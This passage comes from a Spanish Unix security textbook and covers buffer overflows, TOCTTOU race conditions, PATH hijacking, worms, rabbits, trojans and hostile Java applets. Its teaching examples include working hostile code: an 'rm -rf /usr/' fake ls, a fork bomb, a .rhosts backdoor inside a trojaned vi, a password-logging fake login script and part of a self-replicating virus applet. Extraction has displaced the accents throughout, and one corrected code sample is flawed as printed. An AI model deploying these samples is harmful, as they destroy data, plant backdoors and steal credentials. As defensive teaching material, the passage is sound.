oseguridad, puede arrancar un int´rprete de comandos seguro (perteneciente a la TCB) que s´lo le e opermitir´ ejecutar programas que est´n en la base. a eLa comunicaci´n entre la base fiable de c´mputo y el usuario se ha de realizar a trav´s de lo o o eque se denomina la ruta de comunicaci´n fiable (Trusted Communication Path, TCP), ruta oque se ha de invocar mediante una combinaci´n de teclas (por ejemplo, Ctrl-X Ctrl-R en AIX) odenominada SAK (Secure Attention Key) siempre que el usuario deba introducir datos que no de-ban ser comprometidos, como una clave. Tras invocar a la ruta de comunicaci´n fiable mediante la ocombinaci´n de teclas correspondiente el sistema operativo se ha de asegurar de que los programas ono fiables (los no incluidos en la TCB) no puedan acceder a la terminal desde la que se ha intro-ducido el SAK; una vez conseguido esto – generalmente a partir de init – se solicitar´ al usuario aen la terminal su login y su password, y si ambos son correctos se lanzar´ un shell fiable (tsh), que as´lo ejecutar´ programas miembros de la TCB (algo que es muy util por ejemplo para establecer o a ´un entorno seguro para la administraci´n del sistema, si el usuario es el root). Desde el punto de ovista del usuario, tras pulsar el SAK lo unico que aparecer´ ser´ un prompt solicitando el login y la ´ a aclave; si en lugar de esto aparece el s´ ımbolo de tsh, significa que alguien ha intentado robar nuestracontrase˜a: deberemos averiguar qui´n est´ haciendo uso de esa terminal (por ejemplo mediante n e awho) y notificarlo al administrador – o tomar las medidas oportunas si ese administrador somosnosotros –.A pesar de la utilidad de la TCB, es recomendable recordar que un fichero incluido en ella, con lamarca activada, no siempre es garant´ de seguridad; como todos los mecanismos existentes, la base ıafiable de c´mputo est´ pensada para utilizarse junto a otros mecanismos, y no en lugar de ellos. o a5.3 Errores en los programasLos errores o bugs a la hora de programar c´digo de aplicaciones o del propio n´cleo de Unix o uconstituyen una de las amenazas a la seguridad que m´s quebraderos de cabeza proporciona a la a
  • 5.3. ERRORES EN LOS PROGRAMAS 71comunidad de la seguridad inform´tica. En la mayor´ de situaciones no se trata de desconoci- a ıamiento a la hora de realizar programas seguros, sino del hecho que es pr´cticamente imposible no aequivocarse en miles de l´ ıneas de c´digo: simplemente el n´cleo de Minix, un mini-Unix dise˜ado o u npor Andrew Tanenbaum ([Tan91]) con fines docentes, tiene m´s de 13000 l´ a ıneas de c´digo en su oversi´n 1.0. oCuando un error sucede en un programa que se ejecuta en modo usuario el unico problema que suele ´causar es la inconveniencia para quien lo estaba utilizando. Por ejemplo, imaginemos un acceso noautorizado a memoria por parte de cierta aplicaci´n; el sistema operativo detectar´ que se intenta o aviolar la seguridad del sistema y finalizar´ el programa envi´ndole la se˜al sigsegv. Pero si ese a a nmismo error sucede en un programa que corre con privilegios de root – por ejemplo, un ejecutablesetuidado –, un atacante puede aprovechar el fallo para ejecutar c´digo malicioso que el programa oa priori no deb´ ejecutar. Y si un error similar se produce en el c´digo del kernel del sistema ope- ıa orativo, las consecuencias son incluso peores: se podr´ llegar a producir un Kernel Panic o, dicho ıade otra forma, la parada s´bita de la m´quina en la mayor´ de situaciones; el error m´s grave que u a ıa ase puede generar en Unix.5.3.1 Buffer overflowsSeguramente uno de los errores m´s comunes, y sin duda el m´s conocido y utilizado es el stack a asmashing o desbordamiento de pila, tambi´n conocido por buffer overflow2 ; aunque el gusano de eRobert T. Morris (1988) ya lo utilizaba, no fu´ hasta 1997 cuando este fallo se hizo realmente popu- elar a ra´ de [One96]. A pesar de que alguien pueda pensar que en todo el tiempo trascurrido hasta ızhoy en d´ los problemas de buffer overflow estar´n solucionados, o al menos controlados, a´n se ıa a uven con frecuencia alertas sobre programas que se ven afectados por desbordamientos (justamentehoy, 28 de febrero del 2000, han llegado a la lista bugtraq un par de programas que aprovecha-ban estos errores para aumentar el nivel de privilegio de un usuario en el sistema). Aunque cadavez los programas son m´s seguros, especialmente los setuidados, es casi seguro que un potencial aatacante que acceda a nuestro sistema va a intentar – si no lo ha hecho ya – conseguir privilegiosde administrador a trav´s de un buffer overflow. eLa idea del stack smashing es sencilla: en algunas implementaciones de C es posible corromperla pila de ejecuci´n de un programa escribiendo m´s all´ de los l´ o a a ımites de un array declarado autoen una funci´n; esto puede causar que la direcci´n de retorno de dicha funci´n sea una direcci´n o o o oaleatoria. Esto, unido a permisos de los ficheros ejecutables en Unix (principalmente a los bits de Se-tUID y SetGID), hace que el sistema operativo pueda otorgar acceso root a usuarios sin privilegios.Por ejemplo, imaginemos una funci´n que trate de copiar con strcpy() un array de 200 caracteres oen uno de 20: al ejecutar el programa, se generar´ una violaci´n de segmento (y por tanto el cl´sico a o acore dump al que los usuarios de Unix estamos acostumbrados). Se ha producido una sobreescriturade la direcci´n de retorno de la funci´n; si logramos que esta sobreescritura no sea aleatoria sino o oque apunte a un c´digo concreto (habitualmente el c´digo de un shell), dicho c´digo se va a ejecutar. o o o¿Cu´l es el problema? El problema reside en los ficheros setuidados y setgidados; recordemos que acuando alguien los ejecuta, est´ trabajando con los privilegios de quien los cre´, y todo lo que ejecu- a ote lo hace con esos privilegios. . . incluido el c´digo que se ha insertado en la direcci´n de retorno de o onuestra funci´n problem´tica. Si como hemos dicho, este c´digo es el de un int´rprete de comandos o a o ey el fichero pertenece al administrador, el atacante consigue ejecutar un shell con privilegios de root.Existen multitud de exploits (programas que aprovechan un error en otro programa para violarla pol´ ıtica de seguridad del sistema) disponibles en Internet, para casi todas las variantes de Unixy que incluyen el c´digo necesario para ejecutar shells sobre cualquier operativo y arquitectura. oPara minimizar el impacto que los desbordamientos pueden causar en nuestro sistema es necesaria 2 Realmente el stack smashing es un caso particular del buffer overflow, aunque al ser el m´s habitual se suelen aconfundir ambos t´rminos ([C+ 98]). e
  • 72 CAP´ ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOSuna colaboraci´n entre fabricantes, administradores y programadores ([Ins97], [Smi97]. . . ). Los oprimeros han de tratar de verificar m´s la robustez de los programas cr´ a ıticos antes de distribuirlos,mientras que los administradores han de mantener al m´ ınimo el n´mero de ficheros setuidados o usetgidados en sus sistemas y los programadores tienen que esforzarse en generar c´digo con menos opuntos de desbordamiento; en [CWP+ 00] se pueden encontrar algunas l´ ıneas a tener en cuenta enla prevenci´n de buffer overflows. o5.3.2 Condiciones de carreraOtro error muy conocido en el mundo de los sistemas operativos son las condiciones de carrera,situaciones en las que dos o m´s procesos leen o escriben en un ´rea compartida y el resultado final a adepende de los instantes de ejecuci´n de cada uno ([Tan91]). Cuando una situaci´n de este tipo se o oproduce y acciones que deber´ ser at´micas no lo son, existe un intervalo de tiempo durante el ıan oque un atacante puede obtener privilegios, leer y escribir ficheros protegidos, y en definitiva violarlas pol´ ıticas de seguridad del sistema ([Bis95]).Por ejemplo, imaginemos un programa setuidado perteneciente a root que almacene informaci´n oen un fichero propiedad del usuario que est´ ejecutando el programa; seguramente el c´digo con- a otendr´ unas l´ a ıneas similares a las siguientes (no se ha incluido la comprobaci´n b´sica de errores o apor motivos de claridad): if(access(fichero, W_OK)==0){ open(); write(); }En una ejecuci´n normal, si el usuario no tiene privilegios suficientes para escribir en el fichero, la ollamada a access() devolver´ -1 y no se permitir´ la escritura. Si esta llamada no falla open() a atampoco lo har´, ya que el UID efectivo con que se est´ ejecutando el programa es el del root; as´ a a ınos estamos asegurando que el programa escriba en el fichero si y s´lo si el usuario que lo ejecuta opuede hacerlo – sin privilegios adicionales por el setuid –. Pero, ¿qu´ sucede si el fichero cambia eentre la llamada a access() y las siguientes? El programa estar´ escribiendo en un archivo sobre ael que no se han realizado las comprobaciones necesarias para garantizar la seguridad. Por ejemplo,imaginemos que tras la llamada a access(), y justo antes de que se ejecute open(), el usuario borrael fichero referenciado y enlaza /etc/passwd con el mismo nombre: el programa estar´ escribiendo ainformaci´n en el fichero de contrase˜as. o nEste tipo de situaci´n, en la que un programa comprueba una propiedad de un objeto y luego oejecuta determinada acci´n asumiendo que la propiedad se mantiene, cuando realmente no es as´ o ı,se denomina TOCTTOU (Time of check to time of use). ¿Qu´ se puede hacer para evitarla? El epropio sistema operativo nos da las diferentes soluciones al problema ([BD96]). Por ejemplo, pode-mos utilizar descriptores de fichero en lugar de nombres: en nuestro caso, deber´ ıamos utilizar unavariante de la llamada access() que trabaje con descriptores en lugar de nombres de archivo (noes algo que exista realmente, ser´ necesario modificar el n´cleo del operativo para conseguirlo); con ıa uesto conseguimos que aunque se modifique el nombre del fichero, el objeto al que accedemos sea elmismo durante todo el tiempo. Adem´s, es conveniente invertir el orden de las llamadas (invocar aprimero a open() y despu´s a nuestra variante de access()); de esta forma, el c´digo anterior e oquedar´ como sigue: ıa if((fd=open(fichero, O_WRONLY))==NULL){ if (access2(fileno(fp),W_OK)==0){ write(); } }No obstante, existen llamadas que utilizan nombres de fichero y no tienen un equivalente que utilicedescriptores; para no tener que reprogramar todo el n´cleo de Unix, existe una segunda soluci´n que u o
  • 5.4. FAUNA Y OTRAS AMENAZAS 73cubre tambi´n a estas llamadas: asociar un descriptor y un nombre de fichero sin restringir el modo ede acceso. Para esto se utilizar´ un modo especial de apertura, O ACCESS – que ser´ necesario ıa ıaimplementar –, en lugar de los cl´sicos O RDONLY, O WRONLY o O RDWR; este nuevo modo garantizar´ a ıaque si el objeto existe se har´ sobre ´l un open() habitual pero sin derecho de escritura o lectura ıa e(ser´ necesario efectuar una segunda llamada a la funci´n, con los par´metros adecuados), y si no ıa o aexiste se reserva un nombre y un inodo de tipo ‘reservado’, un tipo de transici´n que posteriormente oser´ necesario convertir en un tipo de fichero habitual en Unix (directorio, socket, enlace. . . ) con ıalas llamadas correspondientes.5.4 Fauna y otras amenazasEn el punto anterior hemos hablado de problemas de seguridad derivados de errores o descuidosa la hora de programar; sin embargo, no todas las amenazas l´gicas provienen de simples errores: ociertos programas, denominados en su conjunto malware o software malicioso, son creados con laintenci´n principal de atacar a la seguridad3 . En esta secci´n vamos a hablar de algunos tipos de o omalware, sus caracter´ısticas y sus efectos potenciales.Para prevenir casi todo el software malicioso que pueda afectar a nuestros sistemas es necesariauna buena concienciaci´n de los usuarios: bajo ning´n concepto han de ejecutar software que no o uprovenga de fuentes fiables, especialmente programas descargados de p´ginas underground o ficheros aenviados a trav´s de irc. Evidentemente, esto se ha de aplicar – y con m´s rigor – al administrador e ade la m´quina; si un usuario ejecuta un programa que contiene un virus o un troyano, es casi impo- asible que afecte al resto del sistema: en todo caso el propio usuario, o sus ficheros, ser´n los unicos a ´perjudicados. Si es el root quien ejecuta el programa contaminado, cualquier archivo del sistemapuede contagiarse – virus – o las acciones destructivas del malware – troyano – afectar´n sin l´ a ımitesa todos los recursos del sistema. Aparte de descargar el software de fuentes fiables, es recomendableutilizar las ‘huellas’ de todos los programas (generalmente res´menes md5 de los ficheros) para uverificar que hemos bajado el archivo leg´ ıtimo; tambi´n es preferible descargar el c´digo fuente y e ocompilar nosotros mismos los programas: aparte de cuestiones de eficiencia, siempre tenemos laposibilidad de revisar el c´digo en busca de potenciales problemas de seguridad. oOtra medida de seguridad muy importante es la correcta asignaci´n de la variable de entorno o$PATH, especialmente para el administrador del sistema. Esta variable est´ formada por todos los adirectorios en los que el shell buscar´ comandos para ejecutarlos; podemos visualizar su contenido amediante la siguiente orden: anita:~# echo $PATH /sbin:/usr/sbin:/bin:/usr/bin:/usr/local/sbin:/usr/local/sbin: /usr/dt/bin:/usr/openwin/bin:/usr/share/texmf/bin anita:~#Cuando un usuario teclea una ´rden en la l´ o ınea de comandos, el shell busca en cada uno de estosdirectorios un ejecutable con el mismo nombre que el tecleado; si lo encuentra, lo ejecuta sin m´s, y asi no lo encuentra se produce un mensaje de error (el cl´sico ‘command not found’). Esta b´squeda a use realiza en el orden en que aparecen los directorios del $PATH: si por ejemplo se hubiera tecleado‘ls’, en nuestro caso se buscar´ en primer lugar /sbin/ls; como – seguramente – no existir´, ıa ase pasar´ al siguiente directorio de la variable, esto es, se intentar´ ejecutar /usr/sbin/ls. Este a afichero tampoco ha de existir, por lo que se intentar´ de nuevo con /bin/ls, la ubicaci´n normal a odel programa, y se ejecutar´ este fichero. a¿Qu´ problema hay con esta variable? Muy sencillo: para que sea m´ e ınimamente aceptable, ningunode los directorios del $PATH ha de poseer permiso de escritura para los usuarios normales; esto 3 Realmente, algunos de ellos no son necesariamente nocivos; es su uso indebido y no la intenci´n de su programador olo que los convierte en peligrosos.
  • 74 CAP´ ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOSincluye evidentemente directorios como /tmp/, pero tambi´n otro que a primera vista puede no etener mucho sentido: el directorio actual, ‘.’. Imaginemos la siguiente situaci´n: el root de un osistema Unix tiene incluido en su variable $PATH el directorio actual como uno m´s donde buscar aejecutables; esto es algo muy habitual por cuestiones de comodidad. Por ejemplo, la variable deentorno puede tener el siguiente contenido: anita:~# echo $PATH .:/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/sbin:/usr/local/sbin: /usr/dt/bin:/usr/openwin/bin:/usr/share/texmf/bin anita:~#Si este administrador desea comprobar el contenido del directorio /tmp/, o el de $HOME de algunode sus usuarios (recordemos, directorios donde pueden escribir), seguramente ir´ a dicho directorio ay ejecutar´ un simple ls. Pero, ¿qu´ sucede si el ‘.’ est´ en primer lugar en la variable $PATH? a e aEl shell buscar´ en primer lugar en el directorio actual, por ejemplo /tmp/, de forma que si ah´ a ıexiste un ejecutable denominado ‘ls’, se ejecutar´ sin m´s: teniendo en cuenta que cualquiera a apuede escribir en el directorio, ese programa puede tener el siguiente contenido: anita:~# cat /tmp/ls #!/bin/sh rm -rf /usr/ & anita:~#Como podemos ver, un inocente ‘ls’ puede destruir parte del sistema de ficheros – o todo –, sim-plemente porque el administrador no ha tenido la precauci´n de eliminar de su $PATH directorios odonde los usuarios puedan escribir.Seguramente alguien encontrar´ una soluci´n – falsa – a este problema: si la cuesti´n reside en a o oel orden de b´squeda, ¿por qu´ no poner el directorio actual al final del $PATH, depu´s de todos u e elos directorios fiables? De esta forma, el programa ./ls no se ejecutar´ nunca, ya que antes el shell ava a encontrar con toda seguridad al programa leg´ ıtimo, /bin/ls. Evidentemente esto es as´ pero ı,es f´cil comprobar que el problema persiste: imaginemos que estamos en esa situaci´n, y ahora a otecleamos en /tmp/ la orden ls|more. No ocurrir´ nada anormal, ya que tanto ‘ls’ como ‘more’ ason programas que el shell ejecutar´ antes de analizar ‘.’. Pero, ¿qu´ pasar´ si nos equivocamos a e ıaal teclear, y en lugar de ‘more’ escribimos ‘moer’? Al fin y al cabo, no es un ejemplo tan rebus-cado, esto seguramente le ha pasado a cualquier usuario de Unix; si esto ocurre as´ el int´rprete de ı, e´rdenes no encontrar´ ning´n programa que se llame ‘moer’ en el $PATH, por lo que se generar´o a u aun mensaje de error. . . ¿Ninguno? ¿Y si un usuario ha creado /tmp/moer, con un contenido similaral /tmp/ls anterior? De nuevo nos encontramos ante el mismo problema: una orden tan inocentecomo esta puede afectar gravemente a la integridad de nuestras m´quinas. Visto esto, parece claro aque bajo ning´n concepto se ha de tener un directorio en el que los usuarios puedan escribir, ni usiquiera el directorio actual (‘.’) en la variable $PATH.5.4.1 VirusUn virus es una secuencia de c´digo que se inserta en un fichero ejecutable denominado host, de oforma que al ejecutar el programa tambi´n se ejecuta el virus; generalmente esta ejecuci´n implica e ola copia del c´digo viral – o una modificaci´n del mismo – en otros programas. El virus necesita o oobligatoriamente un programa donde insertarse para poderse ejecutar, por lo que no se puede con-siderar un programa o proceso independiente.Durante a˜os, un debate t´ n ıpico entre la comunidad de la seguridad inform´tica es la existencia ade virus en Unix ([Rad92], [Rad93], [Rad95]. . . ). ¿Existen virus en este entorno, o por el contra-rio son un producto de otros sistemas en los que el concepto de seguridad se pierde? Realmenteexisten virus sobre plataformas Unix capaces de reproducirse e infectar ficheros, tanto ELF comoshellscripts: ya en 1983 Fred Cohen dise˜´ un virus que se ejecutaba con ´xito sobre Unix en una no e
  • 5.4. FAUNA Y OTRAS AMENAZAS 75VAX 11–750 ([Coh84]); a˜os m´s tarde, en art´ n a ıculos como [Duf89] o [McI89] se ha mostrado inclusoel c´digo necesario para la infecci´n. o oParece claro que la existencia de virus en Unix es algo sobradamente comprobado; entonces, ¿d´nde oest´ el debate? La discusi´n se centra en hasta qu´ punto un virus para Unix puede comprometer a o ela seguridad del sistema; generalmente, la existencia de estos virus y sus efectos no suelen ser muyperjudiciales en los sistemas Unix de hoy en d´ Se suele tratar de c´digo escrito unicamente co- ıa. o ´mo curiosidad cient´ ıfica, ya que cualquier acci´n que realice un virus es en general m´s f´cilmente o a arealizable por otros medios como un simple exploit; de hecho, uno de los primeros virus para Unix(en t´rminos puristas se podr´ considerar un troyano m´s que un virus) fu´ creado por uno de e ıa a elos propios dise˜adores del sistema operativo, Ken Thompson ([Tho84]), con el fin no de da˜ar al n nsistema, sino de mostrar hasta qu´ punto se puede confiar en el software de una m´quina. e a5.4.2 GusanosEl t´rmino gusano, acu˜ado en 1975 en la obra de ciencia ficci´n de John Brunner The Shockwave e n oRider hace referencia a programas capaces de viajar por s´ mismos a trav´s de redes de computa- ı edores para realizar cualquier actividad una vez alcanzada una m´quina; aunque esta actividad no atiene por qu´ entra˜ar peligro, los gusanos pueden instalar en el sistema alcanzado un virus, atacar e na este sistema como har´ un intruso, o simplemente consumir excesivas cantidades de ancho de ıabanda en la red afectada. Aunque se trata de malware much´ ısimo menos habitual que por ejemplolos virus o las puertas traseras, ya que escribir un gusano peligroso es una tarea muy dif´ ıcil, losgusanos son una de las amenazas que potencialmente puede causar mayores da˜os: no debemos nolvidar que el mayor incidente de seguridad de la historia de Unix e Internet fu´ a causa de un egusano (el famoso Worm de 1988).Antes del Worm de Robert T. Morris existieron otros gusanos con fines muy diferentes; a prin-cipios de los setenta Bob Thomas escribi´ lo que muchos consideran el primer gusano inform´tico. o aEste programa, denominado ‘creeper’, no era ni mucho menos malware, sino que era utilizadoen los aeropuertos por los controladores a´reos para notificar que el control de determinado avi´n e ohab´ pasado de un ordenador a otro. Otros ejemplos de gusanos utiles fueron los desarrollados ıa ´a principios de los ochenta por John Shoch y Jon Hupp, del centro de investigaci´n de Xerox en oPalo Alto, California; estos worms se dedicaron a tareas como el intercambio de mensajes entresistemas o el aprovechamiento de recursos ociosos durante la noche ([SH82]). Todo funcionabaaparentemente bien, hasta que una ma˜ana al llegar al centro ning´n ordenador funcion´ debido a n u oun error en uno de los gusanos; al reiniciar los sistemas, inmediatamente volvieron a fallar porqueel gusano segu´ trabajando, por lo que fu´ necesario dise˜ar una vacuna. Este es considerado el ıa e nprimer incidente de seguridad en el que entraban worms en juego.Sin embargo, no fu´ hasta 1988 cuando se produjo el primer incidente de seguridad ‘serio’ provocado epor un gusano, que a la larga se ha convertido en el primer problema de seguridad inform´tica que asalt´ a los medios ([Mar88a], [Mar88b], [Roy88]. . . ) y tambi´n en el m´s grave – civil, al menos o e a– de todos los tiempos. El 2 de noviembre de ese a˜o, Robert T. Morris salt´ a la fama cuando n ouno de sus programas se convirti´ en ‘el Gusano’ con may´sculas, en el Worm de Internet. La o uprincipal causa del problema fu´ la filosof´ ‘Security through Obscurity’ que muchos a´n defienden e ıa uhoy en d´ este joven estudiante era hijo del prestigioso cient´ ıa: ıfico Robert Morris, experto en Unixy seguridad – entre otros lugares, ha trabajado por ejemplo para el National Computer SecurityCenter estadounidense –, quien conoc´ perfectamente uno de los muchos fallos en Sendmail. No ıahizo p´blico este fallo ni su soluci´n, y su hijo aprovech´ ese conocimiento para incorporarlo a su u o ogusano (se puede leer parte de esta fascinante historia en [Sto89]). El Worm aprovechaba variasvulnerabilidades en programas como sendmail, fingerd, rsh y rexecd ([See89]) para acceder aun sistema, contaminarlo, y desde ´l seguir actuando hacia otras m´quinas (en [Spa88], [ER89] o e a[Spa91a] se pueden encontrar detalles concretos del funcionamiento de este gusano). En unas horas,miles de equipos conectados a la red dejaron de funcionar ([Spa89]), todos presentando una sobre-
  • 76 CAP´ ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOScarga de procesos sh (el nombre camuflado del gusano en los sistemas Unix); reiniciar el sistemano era ninguna soluci´n, porque tras unos minutos de funcionamiento el sistema volv´ a presentar o ıael mismo problema.Fueron necesarias muchas horas de trabajo para poder detener el Worm de Robert T. Morris;expertos de dos grandes universidades norteamericanas, el MIT y Berkeley, fueron capaces dedesensamblar el c´digo y proporcionar una soluci´n al problema. Junto a ellos, cientos de adminis- o otradores y programadores de todo el mundo colaboraron ininterrumpidamente durante varios d´ ıaspara analizar c´mo se hab´ contaminado y cu´les eran los efectos que el gusano hab´ causado en o ıan a ıasus sistemas. El d´ 8 de noviembre, casi una semana despu´s del ataque, expertos en seguridad de ıa ecasi todos los ´mbitos de la vida estadounidense se reunieron para aclarar qu´ es lo que pas´ exac- a e otamente, c´mo se hab´ resuelto, cu´les eran las consecuencias y c´mo se pod´ evitar que sucediera o ıa a o ıaalgo parecido en el futuro; all´ hab´ desde investigadores del MIT o Berkeley hasta miembros de la ı ıaCIA, el Departamento de Energ´ o el Laboratorio de Investigaci´n Bal´ ıa o ıstica, pasando por supuestopor miembros del National Computer Security Center, organizador del evento. Esta reuni´n, y oel incidente en s´ marcaron un antes y un despu´s en la historia de la seguridad inform´tica; la ı, e asociedad en general y los investigadores en particular tomaron conciencia del grave problema quesupon´ un ataque de esa envergadura, y a partir de ah´ comenzaron a surgir organizaciones como el ıa ıCERT, encargadas de velar por la seguridad de los sistemas inform´ticos. Tambi´n se determinaron a emedidas de prevenci´n que siguen vigentes hoy en d´ de forma que otros ataques de gusanos no o ıa,han sido tan espectaculares: a finales de 1989 un gusano llamado wank, que a diferencia del deMorris era destructivo, no tuvo ni de lejos las repercusiones que ´ste. Desde entonces, no ha habido eninguna noticia importante – al menos publicada por el CERT – de gusanos en entornos Unix.5.4.3 ConejosLos conejos o bacterias son programas que de forma directa no da˜an al sistema, sino que se limitan na reproducirse, generalmente de forma exponencial, hasta que la cantidad de recursos consumidos(procesador, memoria, disco. . . ) se convierte en una negaci´n de servicio para el sistema afectado. oPor ejemplo, imaginemos una m´quina Unix sin una quota de procesos establecida; cualquier usuario apodr´ ejecutar un c´digo como el siguiente: ıa o main(){ while(1){ malloc(1024); fork(); } }Este programa reservar´ un kilobyte de memoria y a continuaci´n crear´ una copia de ´l mismo; ıa o ıa eel programa original y la copia repetir´ estas acciones, generando cuatro copias en memoria que ıanvolver´ a hacer lo mismo. As´ tras un intervalo de ejecuci´n, el c´digo anterior consumir´ toda ıan ı, o o ıala memoria del sistema, pudiendo provocar incluso su parada.La mejor forma de prevenir ataques de conejos (o simples errores en los programas, que haganque ´stos consuman excesivos recursos) es utilizar las facilidades que los n´cleos de cualquier Unix e umoderno ofrecen para limitar los recursos que un determinado proceso o usuario puede llegar aconsumir en nuestro sistema; en el cap´ ıtulo 9 se repasan algunos de los par´metros necesarios para arealizar esta tarea sobre diversos clones del sistema Unix.5.4.4 Caballos de TroyaEn el libro VIII de La Odisea de Homero se cuenta la historia de que los griegos, tras mucho tiempode asedio a la ciudad de Troya, decidieron construir un gran caballo de madera en cuyo interiorse escondieron unos cuantos soldados; el resto del ej´rcito griego abandon´ el asedio dejando all´ e o ı
  • 5.4. FAUNA Y OTRAS AMENAZAS 77el caballo, y al darse cuenta de que el sitio a su ciudad hab´ acabado, los troyanos salieron a ıainspeccionar ese gran caballo de madera. Lo tomaron como una muestra de su victoria y lo intro-dujeron tras las murallas de la ciudad sin darse cuenta de lo que realmente hab´ en ´l. Cuando los ıa etroyanos estaban celebrando el fin del asedio, del interior del caballo salieron los soldados griegos,que abrieron las puertas de la ciudad al resto de su ej´rcito – que hab´ vuelto al lugar – y pudieron e ıade esta forma conquistar la ciudad de Troya.De la misma forma que el antiguo caballo de Troya de la mitolog´ griega escond´ en su interior ıa ıaalgo que los troyanos desconoc´ y que ten´ una funci´n muy diferente a la que ellos pensaban, un ıan, ıa otroyano o caballo de Troya actual es un programa que aparentemente realiza una funci´n util para o ´qui´n lo ejecuta, pero que en realidad – o aparte – realiza una funci´n que el usuario desconoce, e ogeneralmente da˜ina. Por ejemplo, un usuario que posea el suficiente privilegio en el sistema puede nrenombrar el editor vi como vi.old, y crear un programa denominado vi como el siguiente: #!/bin/sh echo "++">$HOME/.rhosts vi.old $1Si esto sucede, cuando alguien trate de editar un fichero autom´ticamente va a crear un fichero a.rhosts en su directorio de usuario, que permitir´ a un atacante acceder de una forma sencilla al asistema utilizando las ´rdenes r-∗ de Unix BSD. oLos troyanos son quiz´s el malware m´s difundido en cualquier tipo de entorno ([KT97]), inclu- a ayendo por supuesto a Unix; sus variantes incluyen incluso ejemplos graciosos: ha habido casos enlos que comenta un potencial problema de seguridad – real – en una lista de correo y se acompa˜a nla descripci´n de un shellscript que en principio aprovecha dicho problema para conseguir privile- ogios de root. En ese exploit se ha incluido, convenientemente camuflada, una sentencia similar a lasiguiente: echo "A’p gr4ibf t2 hLcM ueem"|tr Ae4Lpbf2gumM Ioyamngotrtk| mail -s "‘echo "A’p gr4ibf t2 hLcM ueem"|tr Ae4Lpbf2gumM Ioyamngotrtk‘" rootDe esta forma, cuando un script kiddie ejecute el programa para conseguir privilegios en el sistema,sin darse cuenta autom´ticamente lo estar´ notificando al administrador del mismo; evidentemente a ael exploit suele ser falso y no da ning´n privilegio adicional, simplemente sirve para que el root sepa uqu´ usuarios est´n ‘jugando’ con la seguridad de sus m´quinas. e a aPor desgracia, estos troyanos inofensivos no son los m´s comunes; existen tambi´n ejemplos de a ecaballos de Troya da˜inos: sin duda el ejemplo t´ n ıpico de troyano (tan t´ıpico que ha recibido unnombre especial: trojan mule o mula de Troya ([Tom94])) es el falso programa de login. Nadam´s encender una terminal de una m´quina Unix aparece el cl´sico mensaje ‘login:’ solicitando a a anuestro nombre de usuario y contrase˜a, datos que con toda seguridad la persona que enciende este ndispositivo teclear´ para poder acceder al sistema. Pero, ¿qu´ suceder´ si el programa que imprime a e ıael mensaje en pantalla es un troyano? Cualquier usuario del sistema puede crear un c´digo que omuestre un mensaje similar, guarde la informaci´n le´ de teclado (el login y el password) e invoque o ıdadespu´s al programa login original; tras la primera lectura, se mostrar´ el tambi´n cl´sico mensaje e a e a‘Login incorrect’, de forma que el usuario pensar´ que ha tecleado mal sus datos – nada extra˜o, a nal fin y al cabo –. Cuando el programa original se ejecute, se permitir´ el acceso al sistema y ese ausuario no habr´ notado nada anormal, pero alguien acaba de registrar su login y su contrase˜a. a nUn troyano de este tipo es tan sencillo que se puede hacer – de forma simplificada – en unas pocasl´ ıneas de shellscript: luisa:~$ cat trojan clear printf "‘uname -n‘ login: " read login
  • 78 CAP´ ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOS stty -echonl -echo printf "Password: " read pass echo "$login : $pass" >>/tmp/.claves printf "nLogin incorrect" echo exec /bin/login luisa:~$El atacante no necesita m´s que dejar lanzado el programa en varias terminales del sistema y es- aperar tranquilamente a que los usuarios vayan tecleando sus logins y passwords, que se guardar´n aen /tmp/.claves; evidentemente este ejemplo de troyano es muy simple, pero es suficiente parahacernos una idea del perjuicio que estos programas pueden producir en una m´quina Unix. En alos ultimos a˜os han aparecido caballos de Troya mucho m´s elaborados en diversas utilidades de ´ n aUnix, incluso en aplicaciones relacionadas con la seguridad como TCP Wrappers; en [CER99] sepueden encontrar referencias a algunos de ellos.La forma m´s f´cil de descubrir caballos de Troya (aparte de sufrir sus efectos una vez activa- a ado) es comparar los ficheros bajo sospecha con una copia de los originales, copia que evidentementese ha de haber efectuado antes de poner el sistema en funcionamiento y debe haber sido guardadaen un lugar seguro, para evitar as´ que el atacante modifique tambi´n la versi´n de nuestro bac- ı e okup. Tambi´n es recomendable – como sucede con el resto de malware – realizar res´menes md5 de e unuestros programas y compararlos con los res´menes originales; esto, que muchas veces es ignorado, upuede ser una excelente soluci´n para prevenir la amenaza de los caballos de Troya. o5.4.5 Applets hostilesEn los ultimos a˜os, con la proliferaci´n de la web, Java y Javascript, una nueva forma de malware ´ n ose ha hecho popular. Se trata de los denominados applets hostiles, applets que al ser descargadosintentan monopolizar o explotar los recursos del sistema de una forma inapropiada ([MF96]); estoincluye desde ataques cl´sicos como negaciones de servicio o ejecuci´n remota de programas en la a om´quina cliente hasta amenazas mucho m´s elaboradas, como difusi´n de virus, ruptura l´gica de a a o ocortafuegos o utilizaci´n de recursos remotos para grandes c´lculos cient´ o a ıficos.Como ejemplo de applet hostil – aunque este en concreto no es muy peligroso – tenemos el si-guiente c´digo, obra de Mark D. LaDue (1996): o anita:~/Security# cat Homer.java import java.io.*; class Homer { public static void main (String[] argv) { try { String userHome = System.getProperty("user.home"); String target = "$HOME"; FileOutputStream outer = new FileOutputStream(userHome + "/.homer.sh"); String homer = "#!/bin/sh" + "n" + "#-_" + "n" + "echo "Java is safe, and UNIX viruses do not exist."" + "n" + "for file in ‘find " + target + " -type f -print‘" + "n" + "do" + "n" + " case "‘sed 1q $file‘" in" + "n" + " "#!/bin/sh" ) grep ’#-_’ $file > /dev/null" + " || sed -n ’/#-_/,$p’ $0 >> $file" + "n" + " esac" + "n" + "done" + "n" + "2>/dev/null";
